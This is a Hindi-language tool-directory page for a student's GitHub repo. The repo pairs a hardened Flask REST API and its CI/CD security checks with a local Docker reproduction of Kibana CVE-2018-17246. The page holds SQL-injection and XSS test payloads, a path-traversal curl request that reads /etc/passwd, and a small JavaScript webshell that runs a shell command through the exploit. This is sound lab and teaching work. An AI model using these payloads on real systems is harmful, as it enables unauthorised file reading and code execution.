Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
work1-secure-api — HDU IS Work 1 - CI/CD (pytest + bandit + pip-audit) के साथ सुरक्षित REST API (Flask) और CVE-2018-17246 विश्लेषण | Kitploit
उपकरण/GitHubGitHub/ght657/work1-secure-api
प्रमाणीकरण और प्राधिकरणस्थैतिक विश्लेषणभेद्यता विश्लेषणवेब सुरक्षाDevSecOpsआपूर्ति श्रृंखला सुरक्षापेपर और शोधलर्निंग और शिक्षाAPI सुरक्षालैब और अभ्यास
GitHubght657/work1-secure-api
17घं 59मि पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

work1-secure-api

HDU IS Work 1 - CI/CD (pytest + bandit + pip-audit) के साथ सुरक्षित REST API (Flask) और CVE-2018-17246 विश्लेषण

रिपॉजिटरी देखें

कार्य 1 — CI/CD और वास्तविक CVE भेद्यता विश्लेषण के साथ सुरक्षित REST API विकास

Python/Flask में सुरक्षित REST API, GitHub Actions के माध्यम से CI/CD (SAST + SCA + स्वचालित परीक्षण), और Docker वातावरण में पुनरुत्पादित एक वास्तविक CVE का पूर्ण विश्लेषण (Kibana LFI, CVE-2018-17246)।

नाम: Guhaotian HDU संख्या: 23320209


1. परियोजना और टीम

  • रिपॉज़िटरी: https://github.com/ght657/work1-secure-api (सार्वजनिक)
  • स्टैक: Python 3.9 / Flask 3.1.3, PyJWT (HS256 टोकन), bcrypt पासवर्ड हैशिंग, SQLAlchemy 2 के माध्यम से SQLite, pytest।
  • API तीन एंडपॉइंट प्रदान करता है:
    • POST /auth/login — पासवर्ड हैश सत्यापित करने के बाद एक हस्ताक्षरित JWT जारी करता है।
    • GET /api/data — JWT (Bearer टोकन) द्वारा संरक्षित; वर्तमान उपयोगकर्ता के रिकॉर्ड लौटाता है।
    • GET /api/users/search?q= — पैरामीटर-बाउंड SQL क्वेरी के साथ संरक्षित रीड एंडपॉइंट।
  • अतिरिक्त राइट एंडपॉइंट POST /api/posts (JWT संरक्षित) संग्रहीत XSS / आउटपुट-एस्केपिंग सुरक्षा को प्रदर्शित करता है।

2. CI/CD पाइपलाइन

वर्कफ़्लो फ़ाइल: .github/workflows/ci.yml, main पर प्रत्येक पुश पर ट्रिगर होती है।

जॉबटूलिंगयह क्या करता हैप्रमाण
testpytest 811-परीक्षण सूट चलाता हैevidence/07_pytest_run.png
sastBandit 1.8.0app/, tests/ का स्थिर विश्लेषण (JSON रिपोर्ट आर्टिफ़ैक्ट के रूप में अपलोड)evidence/08_bandit_report.png
scapip-audit 2.8.0निर्भरता ऑडिट (JSON रिपोर्ट आर्टिफ़ैक्ट के रूप में अपलोड)evidence/09_pip_audit_report.png

यदि कोई परीक्षण विफल होता है या कोई SAST/SCA निष्कर्ष शेष रहता है तो पाइपलाइन विफल हो जाती है, इसलिए एक लाल पाइपलाइन का अर्थ है कि मर्ज से पहले एक फ़िक्स पुश किया जाना चाहिए।

3. प्रमाण — SAST, SCA, परीक्षण

3.1 स्वचालित परीक्षण

11 परीक्षण, सभी पास (pytest -q):

tests/test_api.py::test_login_success_issues_token PASSED
tests/test_api.py::test_login_wrong_password_rejected PASSED
tests/test_api.py::test_login_unknown_user_same_error_as_wrong_password PASSED
tests/test_api.py::test_passwords_stored_as_bcrypt_hashes PASSED
tests/test_api.py::test_data_endpoint_denied_without_token PASSED
tests/test_api.py::test_data_endpoint_denied_with_invalid_token PASSED
tests/test_api.py::test_data_endpoint_works_with_valid_token PASSED
tests/test_api.py::test_create_post_requires_token PASSED
tests/test_api.py::test_sqli_payload_treated_as_data PASSED
tests/test_api.py::test_sqli_union_payload_does_not_dump_table PASSED
tests/test_api.py::test_xss_payload_is_escaped_in_response PASSED

11 passed in 2.20s

3.2 SAST — Bandit

एप्लिकेशन कोड हमारा अपना है, इसलिए पहला रन स्वाभाविक रूप से किसी तृतीय-पक्ष शोर को शामिल नहीं करता है। परिणाम: 0 मुद्दे:

Run started:...
Test results:
	No issues identified.
Code scanned:
	Total lines of code: 228
	Total lines skipped (#nosec): 0
	Total potential issues skipped due to specifically being disabled (e.g., #nosec BXXX): 0

3.3 SCA — pip-audit (निर्भरता ऑडिट)

pip-audit ज्ञात CVE वाली सभी निर्भरताओं को सूचीबद्ध करता है; प्रारंभिक रन में पाया गया:

Found 19 known vulnerabilities in 3 packages
Name          Version ID                Fix Versions
------------- ------- ----------------- ------------
flask         3.0.3   PYSEC-2026-2151    3.1.3
pyjwt         2.9.0   PYSEC-2026-120     2.12.0
pyjwt         2.9.0   PYSEC-2025-183      ...
pyjwt         2.9.0   ...                up to 2.15.0
python-dotenv 1.0.1   PYSEC-2026-2270    1.2.2

कुल 19 प्रविष्टियाँ (Flask, PyJWT ×17, python-dotenv)। मैंने इन्हें ठीक किए गए संस्करणों में अपग्रेड किया: Flask 3.1.3, PyJWT 2.15.0 और python-dotenv को हटा दिया (केवल वैकल्पिक कॉन्फ़िग सहायक — ठीक किया गया 1.2.2 के लिए Python ≥ 3.10 आवश्यक है जबकि ऑडिट venv 3.9 है)। ठीक करने के बाद:

No known vulnerabilities found

(evidence/08b_bandit_after_fix.png, evidence/09b_pip_audit_after_fix.png)

4. भेद्यता परीक्षण — API सुरक्षा

API का परीक्षण curl के साथ क्लासिक हमलों के विरुद्ध किया गया। स्क्रीनशॉट evidence/ में हैं:

4.1 लॉगिन पर SQL इंजेक्शन का प्रयास

POST /auth/login जिसमें username: "admin'--" है, 401 Invalid credentials लौटाता है — लुकअप हैश किए गए क्रेडेंशियल्स के विरुद्ध ORM पैरामीटर क्वेरी का उपयोग करता है, इंजेक्ट किया गया पेलोड डेटा ही रहता है और कभी SQL नहीं बनता।

4.2 सर्च पर SQL इंजेक्शन का प्रयास

GET /api/users/search?q=%' OR '1'='1 → स्ट्रिंग को SELECT ... WHERE username LIKE ? के लिए पैरामीटर के रूप में बाइंड किया जाता है (वाइल्डकार्ड एस्केप किए गए), इसलिए यह किसी से मेल नहीं खाता और API एक खाली सूची लौटाता है — कोई त्रुटि नहीं और कोई पूर्ण-तालिका डंप नहीं।

4.3 XSS का प्रयास (संग्रहीत सामग्री)

POST /api/posts जिसमें title: "<script>alert('xss')</script>" है; सर्वर कच्ची स्ट्रिंग संग्रहीत करता है लेकिन आउटपुट पर इसे एस्केप करता है (markupsafe.escape + jsonify), इसलिए लौटाया गया पेलोड <script>alert(&#39;xss&#39;)</script> है — ब्राउज़र टेक्स्ट को टॉगल करता है, इसे निष्पादित नहीं करता। (ब्राउज़र रेंडर के साथ पुनः-उत्पादन evidence/06_xss_readback.png में दिखाया गया है।)

4.4 JWT हैंडलिंग

  • कोई टोकन नहीं → 401 {"error": "Missing or malformed Authorization header"} (evidence/03_data_denied.png)
  • वैध टोकन → 200 + संरक्षित डेटा (evidence/04_data_with_token.png)
  • छेड़छाड़ किए गए पेलोड वाला टोकन → 401 (HS256 के साथ हस्ताक्षर जाँच)
  • समाप्त टोकन → 401 (60 मिनट की समाप्ति)
  • JWT प्रतिक्रिया में लौटाया जाता है और Authorization: Bearer <token> के माध्यम से उपयोग किया जाता है (evidence/10_jwt_structure.png 3-भाग की संरचना दिखाता है)।

4.5 हैशिंग

पासवर्ड bcrypt हैश (12 राउंड) के रूप में संग्रहीत किए जाते हैं और किसी भी एंडपॉइंट द्वारा कभी नहीं लौटाए जाते (परीक्षण test_passwords_stored_as_bcrypt_hashes)।

5. CVE विश्लेषण — CVE-2018-17246 (Kibana 5.6.12 / 6.4.2 — स्थानीय फ़ाइल समावेशन + कोड निष्पादन)

5.1 भेद्यता का अवलोकन

  • उत्पाद / संस्करण: Kibana 5.6.12 (भेद्य), 5.6.13 (पैच किया गया); 6.4.2 / 6.4.3।
  • प्रकार: Console API के माध्यम से पाथ ट्रैवर्सल / अनधिकृत मनमाना फ़ाइल पठन, जो एक स्थानीय JavaScript फ़ाइल लोड करके रिमोट कोड निष्पादन तक बढ़ जाता है।
  • प्रभाव: Kibana प्रक्रिया द्वारा पठनीय किसी भी फ़ाइल का अनधिकृत पठन (जैसे /etc/passwd), और — चूँकि भेद्य रूट को फ़ाइल को JS मॉड्यूल के रूप में आवश्यकता होती है — यदि कोई लिखने योग्य पथ पहुँच योग्य हो (जैसे किसी अन्य दोष या उत्पन्न अस्थायी फ़ाइल के माध्यम से), तो हमलावर-नियंत्रित JS को Kibana प्रक्रिया द्वारा निष्पादित किया जा सकता है।
  • कारण: GET /api/console/api_server?apis=../../../../../../etc/passwd — apis पैरामीटर को केवल एक सरल पथ जाँच के बाद require() को पास किया जाता है, जिससे .. अनुक्रम सर्वर-साइड api निर्देशिका से बाहर निकलकर मनमानी फ़ाइलें पढ़/निष्पादित कर सकते हैं।

5.2 CVE का पुनरुत्पादन (स्थानीय Docker)

मैं सार्वजनिक vulhub इमेज का उपयोग करता हूँ (पहले से प्रकाशित, भेद्य सत्यापित):

vulhub/kibana:5.6.12 + vulhub/elasticsearch:5.6.16 — देखें CVE-2018-17246/docker-compose.yml (इस रेपो में उसी नाम का फ़ोल्डर)।

cd CVE-2018-17246
docker compose up -d          # kibana 5.6.12 + elasticsearch 5.6.16, UI on :5601

चरण 1 — LFI को ट्रिगर करें (Console API एक apis पथ स्वीकार करता है जिसे फ़ाइल के रूप में हल किया जाता है):

curl -i "http://localhost:5601/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../etc/passwd"

प्रतिक्रिया 500 है (फ़ाइल एक वैध JS मॉड्यूल नहीं है) लेकिन फ़ाइल की सामग्री सर्वर लॉग में दिखाई देती है — Kibana फ़ाइल को पढ़ता है और उसे require() करने का प्रयास करता है:

docker compose logs kibana | grep -i "passwd\|root:x"

चरण 2 — कोड निष्पादन तक बढ़ाएँ। एक स्थानीय JS फ़ाइल को उसी रूट द्वारा मॉड्यूल के रूप में लोड किया जाता है: /tmp/vulhub.js जिसमें एक छोटा "webshell" है जो एक शेल कमांड चलाता है जब उसका निर्यातित फ़ंक्शन Console API द्वारा आमंत्रित किया जाता है:

// /tmp/vulhub.js  (written inside the Kibana container)
export default {
  asJson: function(req, res) { return require('child_process').execSync('id').toString(); }
}
टूल डाउनलोड करें